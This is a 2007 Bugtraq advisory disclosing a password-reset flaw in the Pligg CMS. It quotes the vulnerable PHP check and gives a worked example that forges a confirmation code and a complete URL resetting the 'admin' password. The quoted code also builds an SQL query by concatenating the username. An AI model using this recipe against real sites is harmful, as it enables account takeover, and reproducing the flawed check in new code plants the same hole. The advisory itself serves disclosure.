Pligg critical vulnerability
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: Pligg critical vulnerability
- From: "242th section" <242th.section@xxxxxxxxx>
- Date: Fri, 25 May 2007 15:03:51 +0200
- Dkim-signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta; h=domainkey-signature:received:received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=DBNnO37NTTAFNKL5zO2VFJpTGD5EFG/Px9Xs3wSzhxN7NZID4uTYf6o4t8TKJdP0uz2YrxpCxZPc4TLPxoQ4Yyd4SwrRt70L+dSfwj//VpoSi75Bl93IlU8WydWvJ9jfaZNZRNreOY4k0KmLeqfW0PHWXSAHycsZCAGGPKFC5sY=
- Domainkey-signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta; h=received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=cQyG7DjSCDF0q8wl/DxM7RxwUfp/aGsgwHUEA0O903pQifY8H6LsLA5QGCJ3bhraYVw3W8WF3SfsEMEnezNUNXOQ9vAd9Pej89+XEbHVQ8M4LZzXi/PoSzfZL4kIVD2AHII2hOKlNKlEbuiD1qJlcQ/DSqT2kAcfxMEsPqj6PDY=
- List-help: <mailto:bugtraq-help@securityfocus.com>
- List-id: <bugtraq.list-id.securityfocus.com>
- List-post: <mailto:bugtraq@securityfocus.com>
- List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
- List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
- Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm
Pligg critical vulnerability
Concerned version : 9.5 and ?
Description :
Pligg is a flexible CMS based on PHP and MYSQL.
To reinitialize a forgotten password, Pligg follows a classical
process. A confirmation code is generated and sent by email to the
concerned user mail box. The user has to follow the link containing
the confirmation code and if the confirmation code is checked
successfully, the password is reinitialized to a pre-defined value.
you can find a part of the source code in charge of this check below :
WEB_ROOT/libs/html1.php
[…]
function generateHash($plainText, $salt = null){
if ($salt === null) {
$salt = substr(md5(uniqid(rand(), true)), 0, SALT_LENGTH); }
else {
$salt = substr($salt, 0, SALT_LENGTH);
}
return $salt . sha1($salt . $plainText);
}
[…]
WEB_ROOT/login.php :
[…]
$confirmationcode = $_GET["confirmationcode"];
if(generateHash($username, substr($confirmationcode, 0, SALT_LENGTH))
== $confirmationcode){
$db->query('UPDATE `' . table_users . '` SET `user_pass` =
"033700e5a7759d0663e33b18d6ca0dc2b572c20031b575750" WHERE `user_login`
= "'.$username.'"');
[…]
Unfortunately, as you can read, you can easily generate, for a given
username, a confirmation code that passes successfully the following
check "if(generateHash($username, substr($confirmationcode, 0,
SALT_LENGTH)) == $confirmationcode)"
Example :
Let's choose :
salt = 123456789
and,
username = admin
we have :
sha1(123456789admin) = 1e2f566cbda0a9c855240bf21b8bae030404cad7
and thus :
confirmationcode = 1234567891e2f566cbda0a9c855240bf21b8bae030404cad7
with the following url you can reinitialize the user admin password :
http://www.domain.com/login.php?processlogin=4&username=admin&confirmationcode=1234567891e2f566cbda0a9c855240bf21b8bae030404cad7
242th.section.